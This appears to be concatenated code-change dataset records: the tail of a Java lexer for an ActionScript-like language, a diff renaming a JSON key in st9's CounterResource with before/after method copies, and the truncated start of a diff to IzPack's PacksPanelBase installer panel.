makeTokenInstance( NUMBERLITERAL_TOKEN, input.copy() ); default: retract(); state = start_state; return makeTokenInstance( NUMBERLITERAL_TOKEN, input.copy() ); } /* * prefix: . * accepts: .123 | . */ case dot_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimal_state; continue; case '.': state = doubledot_state; continue; case '<': state = start_state; return DOTLESSTHAN_TOKEN; default: retract(); state = start_state; return DOT_TOKEN; } /* * accepts: .. */ case doubledot_state: state = start_state; if ( nextchar() == '.' ) return TRIPLEDOT_TOKEN; retract(); return DOUBLEDOT_TOKEN; /* * prefix: N * accepts: 0.123 | 1.23 | 123 | 1e23 | 1e-23 */ case decimalinteger_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimalinteger_state; continue; case '.': state = decimal_state; continue; case 'd': case 'm': case 'u': case 'i': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); case 'E': case 'e': state = exponentstart_state; continue; default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: N. * accepts: 0.1 | 1e23 | 1e-23 */ case decimal_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimal_state; continue; case 'd': case 'm': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); case 'E': case 'e': state = exponentstart_state; continue; default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: ..e * accepts: ..eN | ..e+N | ..e-N */ case exponentstart_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '+': case '-': state = exponent_state; continue; default: error(kError_Lexical_General); state = start_state; continue; // Issue: needs specific error here. } /* * prefix: ..e * accepts: ..eN | ..e+N | ..e-N */ case exponent_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = exponent_state; continue; case 'd': case 'm': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: / */ case slash_state: switch (nextchar()) { case '/': if (blockcommentbuf == null) blockcommentbuf = new StringBuilder(); state = linecomment_state; continue; case '*': if (blockcommentbuf == null) blockcommentbuf = new StringBuilder(); blockcommentbuf.append("/*"); state = blockcommentstart_state; continue; default: { retract(); // since we didn't use the current character for this decision. if (isSlashDivContext()) { state = slashdiv_state; } else { state = slashregexp_state; } continue; } } /* * tokens: / /= */ case slashdiv_state: state = start_state; switch (nextchar()) { case '>': return XMLTAGENDEND_TOKEN; case '=': return DIVASSIGN_TOKEN; default: retract(); return DIV_TOKEN; } /* * tokens: /<regexpbody>/<regexpflags> */ case slashregexp_state: switch (nextchar()) { case '\\': nextchar(); continue; case '/': regexp_flags = 0; state = regexp_state; continue; case 0: case '\n': case '\r': error(kError_Lexical_General); state = start_state; continue; default: state = slashregexp_state; continue; } /* * tokens: g | i | m | s | x . Note that s and x are custom extentions to match perl's functionality * Also note we handle this via an array of boolean flags intead of state change logic. * (5,1) + (5,2) + (5,3) + (5,4) + (5,5) is just too many states to handle this via state logic */ case regexp_state: switch ( nextchar() ) { case 'g': if ((regexp_flags & 0x01) == 0) { regexp_flags |= 0x01; continue; } error(kError_Lexical_General); state = start_state; continue; case 'i': if ((regexp_flags & 0x02) == 0) { regexp_flags |= 0x02; continue; } error(kError_Lexical_General); state = start_state; continue; case 'm': if ((regexp_flags & 0x04) == 0) { regexp_flags |= 0x04; continue; } error(kError_Lexical_General); state = start_state; continue; case 's': if ((regexp_flags & 0x08) == 0) { regexp_flags |= 0x08; continue; } error(kError_Lexical_General); state = start_state; continue; case 'x': if ((regexp_flags & 0x10) == 0) { regexp_flags |= 0x10; continue; } error(kError_Lexical_General); state = start_state; continue; case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': case 'G': case 'H': case 'h': case 'I': case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': case 'M': case 'N': case 'n': case 'O': case 'o': case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 'T': case 't': case 'U': case 'u': case 'V': case 'v': case 'W': case 'w': case 'X': case 'Y': case 'y': case 'Z': case 'z': case '$': case '_': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': error(kError_Lexical_General); state = start_state; continue; default: retract(); state = start_state; return makeTokenInstance( REGEXPLITERAL_TOKEN, input.copy(false) ); } /* * tokens: ^^ ^^= ^= ^ */ case bitwisexor_state: switch (nextchar()) { case '=': state = start_state; return BITWISEXORASSIGN_TOKEN; /* not yet supported case '^': state = logicalxor_state; continue; */ default: retract(); state = start_state; return BITWISEXOR_TOKEN; } /* * tokens: ^^ ^= ^ */ case logicalxor_state: switch (nextchar()) { case '=': state = start_state; return LOGICALXORASSIGN_TOKEN; default: retract(); state = start_state; return LOGICALXOR_TOKEN; } /* * prefix: < */ case lessthan_state: if( isSlashDivContext() ) { switch (nextchar()) { case '<': state = leftshift_state; continue; case '=': state = start_state; return LESSTHANOREQUALS_TOKEN; case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } } else { switch ( nextchar() ) { case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } } /* * prefix: <! */ case xmlcommentorcdatastart_state: switch ( nextchar() ) { case '[': state = xmlcdatastart_state; continue; case '-': state = xmlcommentstart_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatastart_state: switch ( nextchar() ) { case 'C': state = xmlcdatac_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatac_state: switch ( nextchar() ) { case 'D': state = xmlcdatacd_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacd_state: switch ( nextchar() ) { case 'A': state = xmlcdatacda_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacda_state: switch ( nextchar() ) { case 'T': state = xmlcdatacdat_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacdat_state: switch ( nextchar() ) { case 'A': state = xmlcdatacdata_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacdata_state: switch ( nextchar() ) { case '[': state = xmlcdata_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdata_state: switch ( nextchar() ) { case ']': state = xmlcdataendstart_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlcdata_state; continue; } case xmlcdataendstart_state: switch ( nextchar() ) { case ']': state = xmlcdataend_state; continue; default: state = xmlcdata_state; continue; } case xmlcdataend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: state = xmlcdata_state; continue; } case xmlcommentstart_state: switch ( nextchar() ) { case '-': state = xmlcomment_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcomment_state: switch ( nextchar() ) { case '-': state = xmlcommentendstart_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlcomment_state; continue; } case xmlcommentendstart_state: switch ( nextchar() ) { case '-': state = xmlcommentend_state; continue; default: state = xmlcomment_state; continue; } case xmlcommentend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: error(kError_Lexical_General); state = start_state; continue; } case xmlpi_state: switch ( nextchar() ) { case '?': state = xmlpiend_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlpi_state; continue; } case xmlpiend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: error(kError_Lexical_General); state = start_state; continue; } case xmltext_state: { switch(nextchar()) { case '<': case '{': { retract(); String xmltext = getXMLText(startofxml,pos()-1); if( xmltext != null ) { state = start_state; return makeTokenInstance(XMLTEXT_TOKEN,xmltext); } else // if there is no leading text, then just return puncutation token to avoid empty text tokens { switch(nextchar()) { case '<': switch( nextchar() ) { case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } case '{': state = start_state; return LEFTBRACE_TOKEN; } } } case 0: state = start_state; return EOS_TOKEN; default: state = xmltext_state; continue; } } case xmlliteral_state: switch (nextchar()) { case '{': // return XMLPART_TOKEN { String xmltext = input.copy(startofxml, pos()-2); return makeTokenInstance(XMLPART_TOKEN, xmltext); } case '<': switch (nextchar()) { case '/': --level; nextchar(); mark(); retract(); state = endxmlname_state; continue; default: ++level; state = xmlliteral_state; continue; } case '/': { switch (nextchar()) { case '>': { --level; if (level == 0) { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } // otherwise continue state = xmlliteral_state; continue; } default: /*error(kError_Lexical_General);*/ state = xmlliteral_state; continue; // keep going anyway } } case 0: retract(); error(kError_Lexical_NoMatchingTag); state = start_state; continue; default: continue; } case endxmlname_state: // scan name and compare it to start name switch (nextchar()) { case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': case 'G': case 'g': case 'H': case 'h': case 'I': case 'i': case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': case 'M': case 'm': case 'N': case 'n': case 'O': case 'o': case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 's': case 'T': case 't': case 'U': case 'u': case 'V': case 'v': case 'W': case 'w': case 'X': case 'x': case 'Y': case 'y': case 'Z': case 'z': case '$': case '_': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case ':': { // stop looking for matching tag if the names diverge String temp = input.copy(); if (xmltagname != null && xmltagname.indexOf(temp) == -1) { state = xmlliteral_state; //level -= 2; } else { state = endxmlname_state; } continue; } case '{': // return XMLPART_TOKEN { if (xmltagname != null) // clear xmltagname since there is an expression in it. { xmltagname = null; } String xmltext = input.copy(startofxml, pos()-2); return makeTokenInstance(XMLPART_TOKEN, xmltext); } case '>': { retract(); String temp = input.copy(); nextchar(); if (level == 0) { if (xmltagname != null) { if (temp.equals(xmltagname)) { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } } else { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } } state = xmlliteral_state; continue; } default: state = xmlliteral_state; continue; } /* * tokens: <<= << */ case leftshift_state: switch (nextchar()) { case '=': state = start_state; return LEFTSHIFTASSIGN_TOKEN; default: retract(); state = start_state; return LEFTSHIFT_TOKEN; } /* * prefix: > */ case greaterthan_state: if( isSlashDivContext() ) { switch ( nextchar() ) { case '>': state = rightshift_state; break; case '=': state = start_state; return GREATERTHANOREQUALS_TOKEN; //default: retract(); state = start_state; return greaterthan_token; default: retract(); state = start_state; return GREATERTHAN_TOKEN; } } else { state = start_state; return GREATERTHAN_TOKEN; } /* * prefix: >> >>> >>>= */ case rightshift_state: state = start_state; switch (nextchar()) { case '>': switch (nextchar()) { case '=': return UNSIGNEDRIGHTSHIFTASSIGN_TOKEN; default: retract(); return UNSIGNEDRIGHTSHIFT_TOKEN; } case '=': return RIGHTSHIFTASSIGN_TOKEN; default: retract(); return RIGHTSHIFT_TOKEN; } /* * prefix: /* */ case blockcommentstart_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': if ( nextchar() == '/' ){ state = start_state; return makeTokenInstance( BLOCKCOMMENT_TOKEN, new String()); } retract(); state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; case '\n': case '\r': isFirstTokenOnLine = true; default: state = blockcomment_state; continue; } } /* * prefix: /** */ case doccomment_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': state = doccommentstar_state; continue; case '@': if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("]]></").append(doctagname).append(">"); }; doctagname = ""; state = doccommenttag_state; continue; case '\r': case '\n': isFirstTokenOnLine = true; if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); doctextbuf.append('\n'); state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); doctextbuf.append((char)(c)); state = doccomment_state; continue; } } case doccommentstar_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '/': { if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("]]></").append(doctagname).append(">"); }; String doctext = doctextbuf.toString(); state = start_state; return makeTokenInstance(DOCCOMMENT_TOKEN,doctext); } case '*': state = doccommentstar_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = doccomment_state; continue; // if not a slash, then keep looking for an end comment. } } /* * prefix: @ */ case doccommenttag_state: { int c = nextchar(); switch ( c ) { case '*': state = doccommentstar_state; continue; case ' ': case '\t': case '\r': case '\n': { if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("\n<").append(doctagname).append("><![CDATA["); }; state = doccomment_state; continue; } case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: doctagname += (char)(c); state = doccommenttag_state; continue; } } /* * prefix: /** */ case doccommentvalue_state: switch ( nextchar() ) { case '*': state = doccommentstar_state; continue; case '@': state = doccommenttag_state; continue; case '\r': case '\n': state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = doccomment_state; continue; } /* * prefix: /* */ case blockcomment_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': state = blockcommentstar_state; continue; case '\r': case '\n': isFirstTokenOnLine = true; state = blockcomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = blockcomment_state; continue; } } case blockcommentstar_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '/': { state = start_state; String blocktext = blockcommentbuf.toString(); return makeTokenInstance( BLOCKCOMMENT_TOKEN, blocktext ); } case '*': state = blockcommentstar_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = blockcomment_state; continue; // if not a slash, then keep looking for an end comment. } } /* * prefix: // <comment chars> */ case linecomment_state: { state = start_state; end_of_comment: while (true) { int c = nextchar(); switch ( c ) { case '\r': case '\n': // don't include newline in line comment. (Sec 7.3) retract(); if ( save_comments == false ) break end_of_comment; return makeTokenInstance( SLASHSLASHCOMMENT_TOKEN, input.copy() ); case 0: return EOS_TOKEN; } } continue; } /* * utf8sigstart_state */ case utf8sig_state: switch (nextchar()) { case (char) 0xffffffbb: { switch (nextchar()) { case (char) 0xffffffbf: // ISSUE: set encoding scheme to utf-8, and implement support for utf8 state = start_state; continue; // and contine } } } state = error_state; continue; /* * skip error */ case error_state: error(kError_Lexical_General); skiperror(); state = start_state; continue; default: error("invalid scanner state"); state = start_state; return EOS_TOKEN; } } }
diff --git a/src/main/java/com/g414/st9/proto/service/CounterResource.java b/src/main/java/com/g414/st9/proto/service/CounterResource.java index 6df4ade..697315b 100644 --- a/src/main/java/com/g414/st9/proto/service/CounterResource.java +++ b/src/main/java/com/g414/st9/proto/service/CounterResource.java @@ -1,259 +1,259 @@ package com.g414.st9.proto.service; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import javax.ws.rs.GET; import javax.ws.rs.Path; import javax.ws.rs.PathParam; import javax.ws.rs.Produces; import javax.ws.rs.QueryParam; import javax.ws.rs.WebApplicationException; import javax.ws.rs.core.Context; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.PathSegment; import javax.ws.rs.core.Response; import javax.ws.rs.core.Response.Status; import javax.ws.rs.core.UriInfo; import org.codehaus.jackson.map.ObjectMapper; import org.skife.jdbi.v2.Handle; import org.skife.jdbi.v2.IDBI; import org.skife.jdbi.v2.tweak.HandleCallback; import com.g414.st9.proto.service.count.JDBICountService; import com.g414.st9.proto.service.helper.EncodingHelper; import com.g414.st9.proto.service.helper.OpaquePaginationHelper; import com.g414.st9.proto.service.query.QueryOperator; import com.g414.st9.proto.service.query.QueryTerm; import com.g414.st9.proto.service.query.QueryValue; import com.g414.st9.proto.service.query.ValueType; import com.g414.st9.proto.service.schema.Attribute; import com.g414.st9.proto.service.schema.CounterAttribute; import com.g414.st9.proto.service.schema.CounterDefinition; import com.g414.st9.proto.service.schema.SchemaDefinition; import com.g414.st9.proto.service.sequence.SequenceService; import com.g414.st9.proto.service.store.KeyValueStorage; import com.g414.st9.proto.service.validator.ValidationException; import com.google.inject.Inject; /** * A silly and simple jersey resource that does counter reporting for KV * documents using a "real" db index. */ @Path("/1.0/c") public class CounterResource { public static final Long DEFAULT_PAGE_SIZE = 1000L; @Inject private IDBI database; @Inject private KeyValueStorage storage; @Inject protected SequenceService sequences; @Inject private JDBICountService counts; private ObjectMapper mapper = new ObjectMapper(); @GET @Path("/{type}.{counter}") @Produces(MediaType.APPLICATION_JSON) public Response retrieveCountersNoBindings(@PathParam("type") String type, @PathParam("counter") String counterName, @Context UriInfo uriPath, @QueryParam("s") String token, @QueryParam("n") Long num) throws Exception { return doSearch(type, counterName, uriPath, token, num); } @GET @Path("/{type}.{counter}/{extra:.*}") @Produces(MediaType.APPLICATION_JSON) public Response retrieveCounters(@PathParam("type") String type, @PathParam("counter") String counterName, @Context UriInfo uriPath, @QueryParam("s") String token, @QueryParam("n") Long num) throws Exception { return doSearch(type, counterName, uriPath, token, num); } public void clear(final boolean preserveSchema) { this.database.withHandle(new HandleCallback<Void>() { @Override public Void withHandle(Handle handle) throws Exception { counts.clear(handle, storage.iterator("$schema", null), preserveSchema); return null; } }); } /** * Retrieve counter entries for the specified object type, using the * specified counter name and query string. * * @param type * @param counts * @param query * @return * @throws Exception */ private Response doSearch(String type, String counterName, UriInfo theUri, String token, Long pageSize) throws Exception { if (pageSize == null || pageSize > 1000 || pageSize < 1) { pageSize = DEFAULT_PAGE_SIZE; } Integer typeId = sequences.getTypeId(type, false); Response schemaResponse = storage.retrieve("$schema:" + typeId); List<Map<String, Object>> resultIds = new ArrayList<Map<String, Object>>(); Map<String, Object> queryMap = new LinkedHashMap<String, Object>(); if (schemaResponse.getStatus() == 200) { try { SchemaDefinition definition = mapper.readValue(schemaResponse .getEntity().toString(), SchemaDefinition.class); List<QueryTerm> queryTerms = parseQuery(definition, type, counterName, theUri); for (QueryTerm term : queryTerms) { queryMap.put(term.getField(), term.getValue().getValue()); } List<Map<String, Object>> allIds = counts.doCounterQuery( database, type, counterName, queryTerms, token, pageSize, definition); resultIds.addAll(allIds); } catch (ValidationException e) { return Response.status(Status.BAD_REQUEST) .entity(e.getMessage()).build(); } catch (WebApplicationException e) { return e.getResponse(); } catch (Exception other) { // do not apply schema other.printStackTrace(); throw other; } } else { return Response .status(Status.BAD_REQUEST) .entity("schema or index not found " + type + "." + counterName).build(); } Map<String, Object> result = new LinkedHashMap<String, Object>(); Map<String, Object> lastId = null; if (resultIds.size() > pageSize) { lastId = resultIds.remove(pageSize.intValue()); } result.put("kind", type); - result.put("index", counterName); + result.put("counter", counterName); result.put("query", queryMap); result.put("results", resultIds); Long offset = OpaquePaginationHelper.decodeOpaqueCursor(token); String theNext = (lastId != null) ? OpaquePaginationHelper .createOpaqueCursor(offset + pageSize) : null; String thePrev = (offset >= pageSize) ? OpaquePaginationHelper .createOpaqueCursor(offset - pageSize) : null; result.put("pageSize", pageSize); result.put("next", theNext); result.put("prev", thePrev); String valueJson = EncodingHelper.convertToJson(result); return Response.status(Status.OK).entity(valueJson).build(); } private List<QueryTerm> parseQuery(SchemaDefinition definition, String type, String counterName, UriInfo theUri) throws ValidationException { CounterDefinition counterDefinition = definition.getCounterMap().get( counterName); if (counterDefinition == null) { throw new ValidationException("schema or index not found " + type + "." + counterName); } List<PathSegment> segments = theUri.getPathSegments(); if (segments.size() < 3) { throw new ValidationException("invalid request uri: " + theUri.toString()); } List<PathSegment> params = segments.subList(3, segments.size()); List<CounterAttribute> attrs = counterDefinition.getCounterAttributes(); if (params.size() > attrs.size()) { throw new ValidationException( "path contains too many counter parameters (" + params.size() + " instead of " + attrs.size() + " or less)"); } List<QueryTerm> terms = new ArrayList<QueryTerm>(); for (int i = 0; i < params.size(); i++) { PathSegment param = params.get(i); CounterAttribute counterAttr = attrs.get(i); Attribute attr = definition.getAttributesMap().get( counterAttr.getName()); if (attr == null) { throw new ValidationException("unknown counter attribute: " + counterAttr.getName()); } terms.add(new QueryTerm(QueryOperator.EQ, attr.getName(), getQueryValue(attr, param.getPath()))); } return terms; } private QueryValue getQueryValue(Attribute attr, String literal) { ValueType type = ValueType.STRING; switch (attr.getType()) { case BOOLEAN: type = ValueType.BOOLEAN; break; case UTC_DATE_SECS: case UTF8_SMALLSTRING: case ENUM: case REFERENCE: type = ValueType.STRING; literal = "\"" + literal + "\""; break; case I8: case I16: case I32: case I64: case U8: case U16: case U32: case U64: type = ValueType.INTEGER; break; default: throw new ValidationException("unsupported attribute type: " + attr.getType().name()); } return new QueryValue(type, literal); } }
true
true
private Response doSearch(String type, String counterName, UriInfo theUri, String token, Long pageSize) throws Exception { if (pageSize == null || pageSize > 1000 || pageSize < 1) { pageSize = DEFAULT_PAGE_SIZE; } Integer typeId = sequences.getTypeId(type, false); Response schemaResponse = storage.retrieve("$schema:" + typeId); List<Map<String, Object>> resultIds = new ArrayList<Map<String, Object>>(); Map<String, Object> queryMap = new LinkedHashMap<String, Object>(); if (schemaResponse.getStatus() == 200) { try { SchemaDefinition definition = mapper.readValue(schemaResponse .getEntity().toString(), SchemaDefinition.class); List<QueryTerm> queryTerms = parseQuery(definition, type, counterName, theUri); for (QueryTerm term : queryTerms) { queryMap.put(term.getField(), term.getValue().getValue()); } List<Map<String, Object>> allIds = counts.doCounterQuery( database, type, counterName, queryTerms, token, pageSize, definition); resultIds.addAll(allIds); } catch (ValidationException e) { return Response.status(Status.BAD_REQUEST) .entity(e.getMessage()).build(); } catch (WebApplicationException e) { return e.getResponse(); } catch (Exception other) { // do not apply schema other.printStackTrace(); throw other; } } else { return Response .status(Status.BAD_REQUEST) .entity("schema or index not found " + type + "." + counterName).build(); } Map<String, Object> result = new LinkedHashMap<String, Object>(); Map<String, Object> lastId = null; if (resultIds.size() > pageSize) { lastId = resultIds.remove(pageSize.intValue()); } result.put("kind", type); result.put("index", counterName); result.put("query", queryMap); result.put("results", resultIds); Long offset = OpaquePaginationHelper.decodeOpaqueCursor(token); String theNext = (lastId != null) ? OpaquePaginationHelper .createOpaqueCursor(offset + pageSize) : null; String thePrev = (offset >= pageSize) ? OpaquePaginationHelper .createOpaqueCursor(offset - pageSize) : null; result.put("pageSize", pageSize); result.put("next", theNext); result.put("prev", thePrev); String valueJson = EncodingHelper.convertToJson(result); return Response.status(Status.OK).entity(valueJson).build(); }
private Response doSearch(String type, String counterName, UriInfo theUri, String token, Long pageSize) throws Exception { if (pageSize == null || pageSize > 1000 || pageSize < 1) { pageSize = DEFAULT_PAGE_SIZE; } Integer typeId = sequences.getTypeId(type, false); Response schemaResponse = storage.retrieve("$schema:" + typeId); List<Map<String, Object>> resultIds = new ArrayList<Map<String, Object>>(); Map<String, Object> queryMap = new LinkedHashMap<String, Object>(); if (schemaResponse.getStatus() == 200) { try { SchemaDefinition definition = mapper.readValue(schemaResponse .getEntity().toString(), SchemaDefinition.class); List<QueryTerm> queryTerms = parseQuery(definition, type, counterName, theUri); for (QueryTerm term : queryTerms) { queryMap.put(term.getField(), term.getValue().getValue()); } List<Map<String, Object>> allIds = counts.doCounterQuery( database, type, counterName, queryTerms, token, pageSize, definition); resultIds.addAll(allIds); } catch (ValidationException e) { return Response.status(Status.BAD_REQUEST) .entity(e.getMessage()).build(); } catch (WebApplicationException e) { return e.getResponse(); } catch (Exception other) { // do not apply schema other.printStackTrace(); throw other; } } else { return Response .status(Status.BAD_REQUEST) .entity("schema or index not found " + type + "." + counterName).build(); } Map<String, Object> result = new LinkedHashMap<String, Object>(); Map<String, Object> lastId = null; if (resultIds.size() > pageSize) { lastId = resultIds.remove(pageSize.intValue()); } result.put("kind", type); result.put("counter", counterName); result.put("query", queryMap); result.put("results", resultIds); Long offset = OpaquePaginationHelper.decodeOpaqueCursor(token); String theNext = (lastId != null) ? OpaquePaginationHelper .createOpaqueCursor(offset + pageSize) : null; String thePrev = (offset >= pageSize) ? OpaquePaginationHelper .createOpaqueCursor(offset - pageSize) : null; result.put("pageSize", pageSize); result.put("next", theNext); result.put("prev", thePrev); String valueJson = EncodingHelper.convertToJson(result); return Response.status(Status.OK).entity(valueJson).build(); }
diff --git a/izpack-src/trunk/src/lib/com/izforge/izpack/panels/PacksPanelBase.java b/izpack-src/trunk/src/lib/com/izforge/izpack/panels/PacksPanelBase.java index f5abbc34..dc000c56 100755 --- a/izpack-src/trunk/src/lib/com/izforge/izpack/panels/PacksPanelBase.java +++ b/izpack-src/trunk/src/lib/com/izforge/izpack/panels/PacksPanelBase.java @@ -1,805 +1,806 @@ /* * IzPack - Copyright 2001-2008 Julien Ponge, All Rights Reserved. * * http://izpack.org/ * http://developer.berlios.de/projects/izpack/ * * Copyright 2002 Marcus Wolschon * Copyright 2002 Jan Blok * Copyright 2004 Klaus Bartz * Copyright 2007 Dennis Reil * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.izforge.izpack.panels; import java.awt.Color; import java.awt.Component; import java.awt.Dimension; import java.awt.Graphics; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.io.File; import java.io.InputStream; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import javax.swing.BorderFactory; import javax.swing.Box; import javax.swing.BoxLayout; import javax.swing.ButtonModel; import javax.swing.Icon; import javax.swing.JCheckBox; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.JTable; import javax.swing.JTextArea; import javax.swing.ListSelectionModel; import javax.swing.event.ListSelectionEvent; import javax.swing.event.ListSelectionListener; import javax.swing.plaf.metal.MetalLookAndFeel; import javax.swing.table.DefaultTableCellRenderer; import javax.swing.table.TableCellRenderer; import net.n3.nanoxml.XMLElement; import com.izforge.izpack.LocaleDatabase; import com.izforge.izpack.Pack; import com.izforge.izpack.gui.LabelFactory; import com.izforge.izpack.installer.Debugger; import com.izforge.izpack.installer.InstallData; import com.izforge.izpack.installer.InstallerFrame; import com.izforge.izpack.installer.IzPanel; import com.izforge.izpack.installer.ResourceManager; import com.izforge.izpack.util.Debug; import com.izforge.izpack.util.IoHelper; import com.izforge.izpack.util.VariableSubstitutor; /** * The base class for Packs panels. It brings the common member and methods of the different packs * panels together. This class handles the common logic of pack selection. The derived class should * be create the layout and other specific actions. There are some helper methods to simplify layout * creation in the derived class. * * @author Julien Ponge * @author Klaus Bartz * @author Dennis Reil */ public abstract class PacksPanelBase extends IzPanel implements PacksPanelInterface, ListSelectionListener { // Common used Swing fields /** * The free space label. */ protected JLabel freeSpaceLabel; /** * The space label. */ protected JLabel spaceLabel; /** * The tip label. */ protected JTextArea descriptionArea; /** * The dependencies label. */ protected JTextArea dependencyArea; /** * The packs table. */ protected JTable packsTable; /** * The packs model. */ protected PacksModel packsModel; /** * The tablescroll. */ protected JScrollPane tableScroller; // Non-GUI fields /** * Map that connects names with pack objects */ private Map names; /** * The bytes of the current pack. */ protected long bytes = 0; /** * The free bytes of the current selected disk. */ protected long freeBytes = 0; /** * Are there dependencies in the packs */ protected boolean dependenciesExist = false; /** * The packs locale database. */ private LocaleDatabase langpack = null; /** * The name of the XML file that specifies the panel langpack */ private static final String LANG_FILE_NAME = "packsLang.xml"; private Debugger debugger; /** * The constructor. * * @param parent The parent window. * @param idata The installation data. */ public PacksPanelBase(InstallerFrame parent, InstallData idata) { super(parent, idata); // Load langpack. try { this.langpack = parent.langpack; InputStream inputStream = ResourceManager.getInstance().getInputStream(LANG_FILE_NAME); this.langpack.add(inputStream); this.debugger = parent.getDebugger(); } catch (Throwable exception) { Debug.trace(exception); } // init the map computePacks(idata.availablePacks); createNormalLayout(); } /** * The Implementation of this method should create the layout for the current class. */ abstract protected void createNormalLayout(); /* * (non-Javadoc) * * @see com.izforge.izpack.panels.PacksPanelInterface#getLangpack() */ public LocaleDatabase getLangpack() { return (langpack); } /* * (non-Javadoc) * * @see com.izforge.izpack.panels.PacksPanelInterface#getBytes() */ public long getBytes() { return bytes; } /* * (non-Javadoc) * * @see com.izforge.izpack.panels.PacksPanelInterface#setBytes(int) */ public void setBytes(long bytes) { this.bytes = bytes; } /* * (non-Javadoc) * * @see 